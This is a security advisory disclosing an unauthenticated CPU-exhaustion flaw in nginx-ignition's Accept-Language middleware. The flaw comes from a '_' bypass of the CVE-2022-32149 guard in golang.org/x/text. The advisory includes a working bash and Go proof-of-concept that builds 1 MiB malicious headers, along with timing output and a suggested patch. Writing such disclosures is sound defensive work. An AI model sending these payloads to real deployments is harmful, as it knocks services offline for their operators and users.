Details
### Summary
The gin i18n middleware in nginx-ignition's API server runs in front of every HTTP request and calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 2.4 seconds of server CPU on the host running nginx-ignition; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.
### Affected versions
`dillmann.com.br/nginx-ignition` v2.40.0 and (per code inspection of `main`) earlier 2.x versions whose `api/common/server/i18n.go` middleware routes the `Accept-Language` header through `language.ParseAcceptLanguage` without imposing its own size or character filter. Verified on:
- the official `dillmann/nginx-ignition:latest` Docker image at v2.40.0 (E2E below)
- `main` at commit `faef4c99442b329cfa4ee8879bdba41c22866a18` by reading `api/common/server/i18n.go` (the middleware is unchanged)
### Privilege required
Unauthenticated. The middleware is registered on the global gin router that serves both the login page and the unauthenticated `/api/health` style endpoints. Anyone who can reach the HTTP listener (port 8090 by default) is in scope.
### Vulnerable code
[`api/common/server/i18n.go`](https://github.com/lucasdillmann/nginx-ignition/blob/faef4c99442b329cfa4ee8879bdba41c22866a18/api/common/server/i18n.go) (blob SHA `faef4c99442b329cfa4ee8879bdba41c22866a18`):
```go
func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
return func(ginCtx *gin.Context) {
lang := commands.DefaultLanguage()
langHeader := ginCtx.GetHeader("Accept-Language")
tags, _, err := language.ParseAcceptLanguage(langHeader)
if err == nil && len(tags) > 0 {
for _, tag := range tags {
if commands.Supports(tag) {
lang = tag
break
}
}
}
//nolint:staticcheck
updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
ginCtx.Set(i18n.ContextKey, lang)
ginCtx.Next()
}
}
```
`ginCtx.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and nginx-ignition does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path.
### How `Accept-Language` reaches `ParseAcceptLanguage`
Every HTTP request that hits the nginx-ignition API server passes through `i18nMiddleware` (registered as a global gin middleware). The middleware sequence is:
1. The request enters `i18nMiddleware`.
2. `ginCtx.GetHeader("Accept-Language")` returns the full attacker-supplied header value.
3. `language.ParseAcceptLanguage(langHeader)` runs unfiltered.
No size or character-class filter is applied between (2) and (3). The middleware runs for every gin handler, including unauthenticated paths like the root URL and `/api/health` (which returns 404 but still completes the middleware chain).
### Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh `dillmann/nginx-ignition:latest` container:
```bash
docker run -d --name ngi --rm -p 18090:8090 dillmann/nginx-ignition:latest
sleep 5
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18090/api/health
```
Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).
### End-to-end reproduction (against `dillmann/nginx-ignition:latest` at v2.40.0)
A Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):
```go
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18090/api/health"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
```
Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `dillmann/nginx-ignition:latest` image at v2.40.0):
```
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lucasdillmann/nginx-ignition 2.40.0 i18nMiddleware at
api/common/server/i18n.go.
Target: http://127.0.0.1:18090/api/health payload=1048576 B
warm-up header=0 B '_'=0 '-'=0 status=404 t=10.336041ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=404 t=4.211583ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=404 t=3.276416ms
guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=404 t=31.683792ms
attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=404 t=2.429408875s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=404 t=3.589948166s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=404 t=2.415860875s
```
Interpretation:
| Request | Header bytes | Server time |
|------------------------------------------|--------------|-------------|
| no header / short tag | 0 - 5 | 3 - 11 ms |
| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 32 ms |
| 1 MiB `_` separators (guard bypassed) | 1 MiB | 2.4 - 3.6 s |
The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB `-` payload returns in 32 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 404 (the same as the baseline) from the same endpoint but consumes ~2.4-3.6 s of server CPU because the guard did not fire and the quadratic scanner ran to completion. The amplification factor at the application boundary is ~75-110x (32 ms guard-fires vs 2.4-3.6 s attack on the same 1 MiB header).
### Impact
- One unauthenticated client can pin one CPU core for ~2.4 seconds per 1 MiB request to any URL (the middleware runs even on 404 paths).
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core nginx-ignition instance indefinitely.
- The 4xx/5xx status of the eventual response does not matter — the middleware runs before route resolution, so the CPU cost is paid whether the URL exists or not.
- Self-hosted nginx-ignition instances exposed to the public internet (a documented deployment pattern in the project's README) are exposed.
### Suggested fix
Apply the size / character-class filter inside the middleware before reaching `language.ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:
```go
// api/common/server/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10
func i18nMiddleware(commands i18n.Commands) gin.HandlerFunc {
return func(ginCtx *gin.Context) {
lang := commands.DefaultLanguage()
langHeader := ginCtx.GetHeader("Accept-Language")
if strings.Count(langHeader, "-")+strings.Count(langHeader, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
langHeader = ""
}
tags, _, err := language.ParseAcceptLanguage(langHeader)
if err == nil && len(tags) > 0 {
for _, tag := range tags {
if commands.Supports(tag) {
lang = tag
break
}
}
}
//nolint:staticcheck
updatedCtx := context.WithValue(ginCtx.Request.Context(), i18n.ContextKey, lang)
ginCtx.Request = ginCtx.Request.WithContext(updatedCtx)
ginCtx.Set(i18n.ContextKey, lang)
ginCtx.Next()
}
}
```
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.
### Credit
Reported by tonghuaroot.